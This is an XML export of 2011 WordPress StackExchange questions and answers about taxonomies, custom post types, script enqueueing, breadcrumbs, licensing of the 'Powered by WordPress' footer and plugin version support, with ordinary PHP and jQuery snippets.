  <row Id="19603" PostTypeId="2" ParentId="19602" CreationDate="2011-06-09T15:04:18.913" Score="3" ViewCount="" Body="&lt;p&gt;The updater works based on the plugin's installation path and the name of the file containing the header.  I'm guessing both plugins are housed in a &lt;code&gt;/breadcrumbs&lt;/code&gt; folder (since that seems to be Yoast's setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though Yoast's plugin uses &lt;code&gt;yoast-breadcrumbs.php&lt;/code&gt; for its main file.  I'm assuming you're using a different filename, so you have indeed run into an interesting problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd take a closer look at your system, because the updater sends two variables when checking for updates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;plugin_slug&quot; ... in this case likely &lt;code&gt;breadcrumbs&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&quot;plugin_path&quot; ... &lt;code&gt;/breadcrumbs/yoast-breadcrumbs.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's a naming collision between your system and Yoast's if they're both called &quot;Breadcrumbs&quot; to WordPress.  I'd recommend changing your system to put things in the &lt;code&gt;/kaiser-breadcrumbs&lt;/code&gt; directory instead.  That might solve your problem.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-09T15:04:18.913" CommentCount="2" />
  <row Id="19604" PostTypeId="1" AcceptedAnswerId="19617" CreationDate="2011-06-09T15:19:06.860" Score="1" ViewCount="53" Body="&lt;p&gt;When registering a new taxonomy, the second argument of &lt;code&gt;register_taxonomy($taxonomy, $object_type, $args)&lt;/code&gt; is the post type (or types) that this taxonomy is registered for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when registering a custom post type, you can also pass taxonomy as one of the arguments:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;taxonomies&#xA;  (array) (optional) An array of registered taxonomies like category or post_tag that will be used with this post type. This can be use in lieu of calling register_taxonomy_for_object_type() directly. Custom taxonomies still need to be registered with register_taxonomy().&#xA;  Default: None&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is redundant. Which should be used? Can you register a taxonomy without associating it with a specific post type, and then later, when registering the custom post type, associate it then?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As a little backgrounder to why I should care (other than that I don't like inconsistencies and redundancy): I'm creating a fairly generic taxonomy that I can foresee using across a variety of implementations. I'd love to define this taxonomy once (in a separate file), without any foreknowledge of the custom post types that may want to take advantage of it in the future. Then, on a specific implementation, as I'm creating the custom post type, I know I have this taxonomy that I can associate with the post type. Hope this explains my reasons a bit.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-06-09T15:52:03.370" LastActivityDate="2011-06-09T17:58:10.300" Title="Is $object_type truly required with register_taxonomy()?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="19605" PostTypeId="1" CreationDate="2011-06-09T15:51:08.970" Score="0" ViewCount="173" Body="&lt;p&gt;I have asked this question differently a couple times as I have worked out the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the premise: a simple 7 day event calendar that always starts with today. I will eventually add a &quot;featured event&quot; per day that will be the one shown with a link to view the rest of the events for a given day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple notes on how I am doing this.  First I am using More Fields to build my custom fields.  This plugin gives me access to a template tag   Also the custom field is accepting dates formatted: YYYY-mm-dd 2011-06-09&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now this is what I have, and its not working.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;days_header&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    $today = date(&quot;o-m-d&quot;);&#xA; $future = strtotime ( '+6 days' , strtotime ( $today ) ) ;&#xA; $future = date ( 'o-m-d' , $future );&#xA; $event_query = new WP_Query(&#xA;array( &#xA;  'post_type'   =&amp;gt; 'event',&#xA;  'meta_key'    =&amp;gt; 'event-date',&#xA;  'orderby'     =&amp;gt; 'meta_value',&#xA;  'order'       =&amp;gt; 'asc',&#xA;  'meta_query'  =&amp;gt; array(&#xA;     array(&#xA;      'key'     =&amp;gt; 'event-date',&#xA;      'value'   =&amp;gt; array($today,$future),&#xA;      'compare' =&amp;gt; 'BETWEEN',&#xA;      'type'    =&amp;gt; 'DATE'&#xA;    )&#xA;   )&#xA;  ) &#xA;);&#xA;?&amp;gt;&#xA;&amp;lt;?php for ($i=0; $i&amp;lt;7; $i++):&#xA;$thedate = strtotime ( '+'.$i.' day' , strtotime ( $today ) ) ;&#xA;$thedate = date ( 'o-m-d' , $thedate ); ?&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&#xA;&amp;lt;?php echo $thedate; ?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post();?&amp;gt;&#xA;  &amp;lt;?php if(meta('event-date') == $thedate) :?&amp;gt;&#xA;    &amp;lt;?php the_title(); ?&amp;gt;&#xA;    &amp;lt;?php else: ?&amp;gt;&#xA;      No Events Today&#xA;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; endif; rewind_posts(); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Echoing $thedate works fine it shows exactly how its supposed to but the loop isn't returning any events.  I have events in the system for the next three days so it should be showing an event for today, tomorrow and Saturday.  &lt;/p&gt;&#xA;" OwnerUserId="5181" LastActivityDate="2011-06-09T15:51:08.970" Title="How to make a custom 7 day event calendar with events custom post type" Tags="&lt;custom-post-types&gt;&lt;wp-query&gt;&lt;events&gt;" CommentCount="3" />
  <row Id="19606" PostTypeId="1" CreationDate="2011-06-09T16:10:40.170" Score="0" ViewCount="43" Body="&lt;p&gt;i've a strange problem. i hope you guys can help me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i'm on my home-page and i click on the &quot;more info&quot;-button placed after an short-post i get a page where all my posts are listed one below the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i click on a page like for example &quot;ABOUT&quot; in my headermenu i get the same page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;strange is also the fact that my breadcrumps show me the right 'place' - for example: i click on &quot;ABOUT&quot; and in the breadcrumps it's showing me 'Home&gt;ABOUT' but the page is the one with the listed posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anyone help me out? that would be awesome!&lt;/p&gt;&#xA;" OwnerUserId="6050" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-09T17:36:07.410" LastActivityDate="2011-06-09T17:36:07.410" Title="pages, links and posts link to the same target" Tags="&lt;permalinks&gt;&lt;urls&gt;&lt;htaccess&gt;" />
  <row Id="19607" PostTypeId="1" AcceptedAnswerId="19611" CreationDate="2011-06-09T16:41:49.963" Score="5" ViewCount="161" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1059/removing-the-powered-by-wordpress-link&quot;&gt;Removing the &amp;ldquo;Powered by WordPress&amp;rdquo; Link?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;i have a bit odd question but here it goes: Due to page styling issues with the copyright logo, i deleted the whole div that says: &quot;Powered by Wordpress (logo)&quot;. Now due to my SEO plugin, the source doesn't include the meta-generator tag. Now am i in violation of the Wordpress License, or im ok (although i do look irresponsible)?&lt;/p&gt;&#xA;" OwnerUserId="5797" LastActivityDate="2011-06-10T07:07:53.807" ClosedDate="2011-06-10T04:10:08.023" Title="Wordpress Copyright Dillema (i.e. Powered by)" Tags="&lt;licensing&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="19609" PostTypeId="2" ParentId="17093" CreationDate="2011-06-09T16:49:39.060" Score="3" ViewCount="" Body="&lt;p&gt;How about native Thickbox with the native jQuery tabs for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the widget it self is simple and only has a link&#xA;&lt;img src=&quot;http://i.stack.imgur.com/3OUr0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but one you click on it the thickbox pops up and shows all of the options grouped by tabs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/gD7Ev.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me know what you think I'll fetch the code for you.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-09T16:49:39.060" CommentCount="4" />
  <row Id="19610" PostTypeId="1" AcceptedAnswerId="19690" CreationDate="2011-06-09T16:50:49.333" Score="0" ViewCount="135" Body="&lt;h3&gt;Case:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I got a set of classes that build form fields based on data from an input array. The class can build the following types of form fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;input (basic, hidden, password)&lt;/li&gt;&#xA;&lt;li&gt;textarea&lt;/li&gt;&#xA;&lt;li&gt;radio&lt;/li&gt;&#xA;&lt;li&gt;checkbox&lt;/li&gt;&#xA;&lt;li&gt;select&lt;/li&gt;&#xA;&lt;li&gt;colorpicker&lt;/li&gt;&#xA;&lt;li&gt;datepicker&lt;/li&gt;&#xA;&lt;li&gt;file upload&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT:&lt;/em&gt; The class uses &lt;code&gt;wp_register_script/_style&lt;/code&gt; &amp;amp; &lt;code&gt;wp_enqueue_script/_style&lt;/code&gt; to load the scripts &amp;amp; styles. The functions containing the actions are hooked inside the class like this: &lt;code&gt;add_action( 'admin_enqueue_scripts', array( &amp;amp;$this, 'enqueue' ) );&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Inside &lt;code&gt;functions.php&lt;/code&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// meta box callback function&#xA;function test_meta_box_cb()&#xA;{   &#xA;    $input_args = array(&#xA;         'type'         =&amp;gt; 'color'&#xA;        ,'id'           =&amp;gt; 'color-id'&#xA;        ,'label'        =&amp;gt; 'Input Colorpicker Label'&#xA;        ,'opt_name'     =&amp;gt; 'abc_xyz'&#xA;        ,'value'        =&amp;gt; '009ee0'&#xA;     );&#xA;    new FormClass( $input_args, true );&#xA;}&#xA;// add the meta box&#xA;function add_test_meta_box()&#xA;{&#xA;    add_meta_box( 'test_box', __('TestBox'), 'test_meta_box_cb', 'post', 'advanced', 'high' );&#xA;}&#xA;add_action( 'add_meta_boxes', 'add_test_meta_box' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Problem:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;This way, my call for &lt;code&gt;wp_enqueue_script&lt;/code&gt; &amp;amp; &lt;code&gt;wp_enqueue_style&lt;/code&gt; doesn't work. I get the form fields rendered, but no scripts or styles.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Situation &amp; Backtracing of the problem:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So far I could track down the problem to the wordpress core architecture: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WP doesn't question what happens inside the callback function until &lt;code&gt;do_action('add_meta_boxes', $post_type, $post)&lt;/code&gt; get's called (inside &lt;em&gt;edit-form-advanced.php&lt;/em&gt;). &lt;/li&gt;&#xA;&lt;li&gt;That call happens long after &lt;em&gt;admin-header.php&lt;/em&gt; was called (which contains &lt;code&gt;do_action('admin_enqueue_scripts', $hook_suffix);&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Therefore the script &amp;amp; style can't get loaded (if I'm not wrong).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Question:&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How could i load styles before the meta box form fields get called? &lt;/li&gt;&#xA;&lt;li&gt;How could i avoid repeating the same stylesheet over and over again - i want to use &lt;code&gt;wp_enqueue_style&lt;/code&gt; &amp;amp; &lt;code&gt;wp_register_style&lt;/code&gt;?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm open to any answers including those who force me to rewrite my class architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; I need to use this class in a lot of different szenarios, so bundling it to close together with the &lt;code&gt;add_meta_box&lt;/code&gt; function is not good. I'm close to making an abstraction layer that divides the call for the meta box and the style/script part, but why would I want to add another layer above a core function?&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-09T18:06:55.187" LastActivityDate="2011-06-12T18:38:26.400" Title="Loading scripts &amp; styles from a meta box callback function" Tags="&lt;forms&gt;&lt;wp-enqueue-script&gt;&lt;add-meta-box&gt;&lt;wp-enqueue-style&gt;" AnswerCount="3" />
  <row Id="19611" PostTypeId="2" ParentId="19607" CreationDate="2011-06-09T16:51:03.270" Score="9" ViewCount="" Body="&lt;p&gt;There is no requirement to retain the &quot;Powered by WordPress&quot; note in the footer or the WordPress reference in the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tags in your header.  There is nothing in the WordPress license (GPL) that requires these remain intact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To take things a bit further ... the &quot;Powered by WordPress&quot; tag in the footer is added by your &lt;em&gt;theme&lt;/em&gt;, not by WordPress itself.  And the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag in the header is pluggable specifically to make it easy to remove.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-09T16:51:03.270" CommentCount="2" />
  <row Id="19612" PostTypeId="2" ParentId="19607" CreationDate="2011-06-09T16:53:01.257" Score="0" ViewCount="" Body="&lt;p&gt;You shouldn't delete the meta-generator tag, its used to have the stats of number of WP sites running. Though you can remove the Powered by WordPress. Matt doesn't like meta generator tag being removed. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing none of those is a violation until you remove the License that comes with WordPress or try to not give the credit to original WordPress developers in your modified WordPress if you are re-distributing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @EAMann said there is nothing in license, but keeping the meta generator tag is the least you can do to thank efforts put in to WordPress Development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: A &lt;a href=&quot;http://core.trac.wordpress.org/ticket/12495&quot; rel=&quot;nofollow&quot;&gt;Ticket discussing meta generator&lt;/a&gt; tag on Wordpress trac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt; Just for the record that Matt reference I used in my answer is because I envy Matt and I really honor him for giving away such a great software for free (both in money and in freedom). So, what ever he says about WordPress means a lot to me, you can totally ignore that if you don't feel like this. I am still looking for the link to the blog post in which Matt had an argument with a blogger regarding his advice on securing Wordpress by removing meta generator tag, will share it here as soon as I find it.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-10T07:07:53.807" LastActivityDate="2011-06-10T07:07:53.807" CommentCount="10" />
  <row Id="19613" PostTypeId="1" CreationDate="2011-06-09T17:00:13.767" Score="-1" ViewCount="56" Body="&lt;p&gt;I'm looking for a good, simple PHP or JS function to get my latest Facebook status updates. Anyone have a good solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a JS script but simply stop working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;heres the code:&#xA;&lt;a href=&quot;http://www.anamoura.com.pt/ajax-facebook.html&quot; rel=&quot;nofollow&quot;&gt;view code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="433" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-06-09T17:26:32.223" LastActivityDate="2011-08-24T15:34:04.757" Title="get facebook status" Tags="&lt;facebook&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="19614" PostTypeId="2" ParentId="10849" CreationDate="2011-06-09T17:13:57.907" Score="0" ViewCount="" Body="&lt;p&gt;I'm also having this failed media import problem .... &amp;amp; don't understand exactly what you did to solve it... would really appreciate a bit more detail ...thx in advance&lt;/p&gt;&#xA;" OwnerUserId="6054" LastActivityDate="2011-06-09T17:13:57.907" CommentCount="1" />
  <row Id="19615" PostTypeId="2" ParentId="19610" CreationDate="2011-06-09T17:25:52.113" Score="1" ViewCount="" Body="&lt;p&gt;You should really hook you scripts to the &lt;code&gt;wp_enqueue_scripts&lt;/code&gt; action and your styles to the &lt;code&gt;wp_print_styles&lt;/code&gt; action.  Inside your functions, do a check to make sure you're on the page using your meta boxes before actually using &lt;code&gt;wp_enqueue_script()&lt;/code&gt; or &lt;code&gt;wp_enqueue_style()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in one of my plugins I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function enqueue_scripts_and_styles() {&#xA;    if( is_admin() ) {&#xA;        wp_enqueue_script( 'media-upload' );&#xA;        wp_enqueue_script( 'thickbox' );&#xA;        wp_enqueue_style( 'thickbox' );&#xA;    } else {&#xA;        wp_enqueue_style( 'wp-publication-archive-frontend', WP_PUB_ARCH_INC_URL . '/front-end.css', '', '2.0', 'all' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I hook that to &lt;code&gt;init&lt;/code&gt; (which fires just before all the other scripts and styles are enqueued).&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-09T17:25:52.113" CommentCount="6" />
  <row Id="19616" PostTypeId="1" AcceptedAnswerId="19641" CreationDate="2011-06-09T17:55:52.410" Score="1" ViewCount="51" Body="&lt;p&gt;I'm querying a custom taxonomy for a post, hoping to get a list of all terms for that post and taxonomy. get_the_terms($post_id, $taxonomy) works, but gives this ungodly array of term objects that will require an extra layer of parsing before I can run the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (in_array($list_of_term_ids, $my_term_id)){ do good stuff... }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to see whether anyone has come across a native WP function or method that extracts term ids into a flat list before rolling my own utility function, just so I can be using built-in best practices.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-08-20T23:00:30.020" Title="WordPress built-in method to extract array of term IDs?" Tags="&lt;taxonomy&gt;&lt;terms&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="19617" PostTypeId="2" ParentId="19604" CreationDate="2011-06-09T17:58:10.300" Score="1" ViewCount="" Body="&lt;p&gt;So I dug into the source and discovered that even though the documentation STATES that &lt;code&gt;$object_type&lt;/code&gt; is &quot;required&quot;, there's nothing in the logic that makes this so. &lt;code&gt;$object_type&lt;/code&gt; is just added to the properties of the tax object, which presumably is also done when you register the tax while creating the custom post, and also when you use &lt;code&gt;register_taxonomy_for_object_type()&lt;/code&gt;. I tried creating a custom taxonomy with null for the &lt;code&gt;$object_type&lt;/code&gt; parameter, and then assigning the tax when creating the custom post type and it worked as hoped-for. &#xA;Codex updated.&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-06-09T17:58:10.300" />
  <row Id="19618" PostTypeId="1" CreationDate="2011-06-09T18:21:26.087" Score="0" ViewCount="55" Body="&lt;p&gt;I'm working on a theme and i use dimox's breadcrumbs to display breadcrumbs in the footer, so far so good, works almost flawlessly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there's one template file where i use 2 loops and i'm guessing this is what screws with the breadcrumbs... but i couldn't put my finger on it exactly...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the code: &#xA;&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;span-24&quot;&amp;gt;&#xA;&#xA;&#xA;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php $parent_title = $post-&amp;gt;post_title; ?&amp;gt;&#xA;&amp;lt;?php $parent_content = $post-&amp;gt;post_content; ?&amp;gt;&#xA;&amp;lt;?php $parent = $post-&amp;gt;ID; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; else : ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;preview&quot;&amp;gt;&#xA;    &amp;lt;img id=&quot;previewImg&quot; src=&quot;&amp;lt;?php bloginfo(&quot;template_url&quot;); ?&amp;gt;/images/spacer.png&quot; alt=&quot;&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;h1&amp;gt;&amp;lt;?php echo $parent_title; ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;proj_list&quot;&amp;gt;     &#xA;    &amp;lt;ul id=&quot;previewUL&quot;&amp;gt;&#xA;    &amp;lt;?php query_posts('posts_per_page=15&amp;amp;post_type=page&amp;amp;post_parent='.$parent); while (have_posts()) : the_post(); ?&amp;gt;   &#xA;    &amp;lt;?php $image_thumb = get_post_meta($post-&amp;gt;ID, 'image-thumb', true); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;&amp;lt;?php $src = wp_get_attachment_image_src( get_post_thumbnail_id($post-&amp;gt;ID), medium, false, '' ); echo $src[0]; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;&quot;&amp;gt;  &#xA;    &amp;lt;?php print($parent_content);?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script  type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    jQuery('img#previewImg').animate({opacity: 0}, 0 );&#xA;    jQuery('#previewUL li a').each(&#xA;        function( intIndex ){&#xA;&#xA;        jQuery(this).hover(&#xA;            function(){&#xA;                var imgurl = jQuery(this).attr('rel');&#xA;                jQuery('img#previewImg').attr('src', imgurl);&#xA;                jQuery('img#previewImg').clearQueue();&#xA;                jQuery('img#previewImg').animate({opacity: 0}, 0 );&#xA;                jQuery('img#previewImg').animate({opacity: 1}, 250 );&#xA;            },&#xA;            function(){&#xA;                jQuery('img#previewImg').animate({opacity: 0}, 250 );&#xA;            });&#xA;&#xA;        }&#xA;    );&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!--/span-24--&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a look at previewUL ...&lt;/p&gt;&#xA;" OwnerUserId="6056" LastActivityDate="2011-08-09T00:21:11.997" Title="Breadcrumbs stop working on a specific template file" Tags="&lt;query-posts&gt;&lt;breadcrumb&gt;" AnswerCount="2" />
  <row Id="19620" PostTypeId="1" AcceptedAnswerId="19621" CreationDate="2011-06-09T18:44:14.610" Score="1" ViewCount="26" Body="&lt;p&gt;I'm in the process of developing a plugin, and I'd like to figure out which versions of WordPress to support. But to get a good idea I'd need to know what percentages of old Wordpress versions make up the install base. Does such information exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively if such information doesn't exist, does anyone have a suggested version I should support my plugin back to?&lt;/p&gt;&#xA;" OwnerUserId="6058" LastActivityDate="2011-06-09T19:20:57.077" Title="What are WordPress installation percentages by version?" Tags="&lt;plugins&gt;&lt;wordpress-version&gt;" AnswerCount="2" />
  <row Id="19621" PostTypeId="2" ParentId="19620" CreationDate="2011-06-09T19:16:52.023" Score="2" ViewCount="" Body="&lt;p&gt;There's a page in the Codex that shows exactly that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/about/stats/&quot; rel=&quot;nofollow&quot;&gt;WordPress &gt; About &amp;raquo; Statistics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But really, it all depends on what features you're using.  A safe bet for a new plugin would be to support WordPress 3.1.X and above (since that's the current stable release).  You're setting yourself up for a lot of hurt if you try to do too much backwards compatibility work.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-09T19:16:52.023" CommentCount="2" />
  <row Id="19622" PostTypeId="2" ParentId="19571" CreationDate="2011-06-09T19:17:56.127" Score="0" ViewCount="" Body="&lt;p&gt;I got it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_get_count_before_delete() {&#xA;&#xA;    global $bp, $wpdb;&#xA;&#xA;    $user_id = $bp-&amp;gt;loggedin_user-&amp;gt;id;&#xA;&#xA;    return $wpdb-&amp;gt;get_var( $wpdb-&amp;gt;prepare( &quot;&#xA;      SELECT COUNT(DISTINCT p.ID) &#xA;        FROM $wpdb-&amp;gt;posts p &#xA;        WHERE p.post_author = %d &#xA;          AND p.post_status = 'inherit' &#xA;          AND p.post_type = 'attachment'&quot;, $user_id&#xA;    ) );&#xA;&#xA;}&#xA;&#xA;&#xA;function custom_check_delete_account() {&#xA;&#xA;    global $bp;&#xA;&#xA;    if ( $bp-&amp;gt;current_component == 'settings' &amp;amp;&amp;amp; $bp-&amp;gt;current_action == 'delete-account' ) {&#xA;&#xA;        if ( $count = custom_get_count_before_delete() ) {&#xA;&#xA;            $message = 'please_delete_your_media_before_delete_your_account';&#xA;&#xA;            wp_redirect('http://www.mysite.lh/wp-admin/upload.php?message=' . $message, 301 ); &#xA;&#xA;            exit;&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;&#xA;}&#xA;&#xA;add_action('init', 'custom_check_delete_account', 11);&#xA;&#xA;&#xA;function custom_upload_notice() {&#xA;&#xA;    echo '&amp;lt;div id=&quot;message&quot; class=&quot;updated below-h2&quot;&amp;gt;&#xA;       &amp;lt;h2&amp;gt;Primer paso:&amp;lt;/h2&amp;gt;&amp;lt;p&amp;gt;Para borrar su cuenta, por favor borre todos sus Chaines primero.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;';&#xA;&#xA;    remove_action('admin_notices', 'custom_upload_notice');&#xA;&#xA;}&#xA;&#xA;&#xA;function custom_check_delete_account_upload() {&#xA;&#xA;    global $pagenow;&#xA;&#xA;    if ( !isset($_REQUEST['deleted']) ) {&#xA;&#xA;        if ( 'please_delete_your_media_before_delete_your_account' == $_REQUEST['message'] &amp;amp;&amp;amp; 'upload.php' == $pagenow ) {&#xA;&#xA;            add_action('admin_notices', 'custom_upload_notice');&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;}&#xA;&#xA;add_action('admin_init', 'custom_check_delete_account_upload', 11);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know what you think or if there exist a better way to do it.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-06-09T19:17:56.127" />
  <row Id="19623" PostTypeId="2" ParentId="19620" CreationDate="2011-06-09T19:20:57.077" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/about/stats/&quot; rel=&quot;nofollow&quot;&gt;WordPress.org publishes the aggregate installation stats&lt;/a&gt; collected by api.wordpress.org.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-09T19:20:57.077" />
  <row Id="19624" PostTypeId="2" ParentId="19543" CreationDate="2011-06-09T19:24:35.163" Score="1" ViewCount="" Body="&lt;p&gt;I personally wouldn't bother with any of the hosting review sites. Instead ask friends and peers which services they use and if they are any good. Also checkout the userbase and the community at the host you are considering as they will give you a good indication of whether the host is of good quality or not.&lt;/p&gt;&#xA;" OwnerUserId="3436" LastActivityDate="2011-06-09T19:24:35.163" CommentCount="1" />
  <row Id="19625" PostTypeId="2" ParentId="19618" CreationDate="2011-06-09T19:25:51.750" Score="0" ViewCount="" Body="&lt;p&gt;It's a long shot, but what happens if you add in a &lt;code&gt;wp_reset_query()&lt;/code&gt; call?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-09T19:25:51.750" CommentCount="3" />
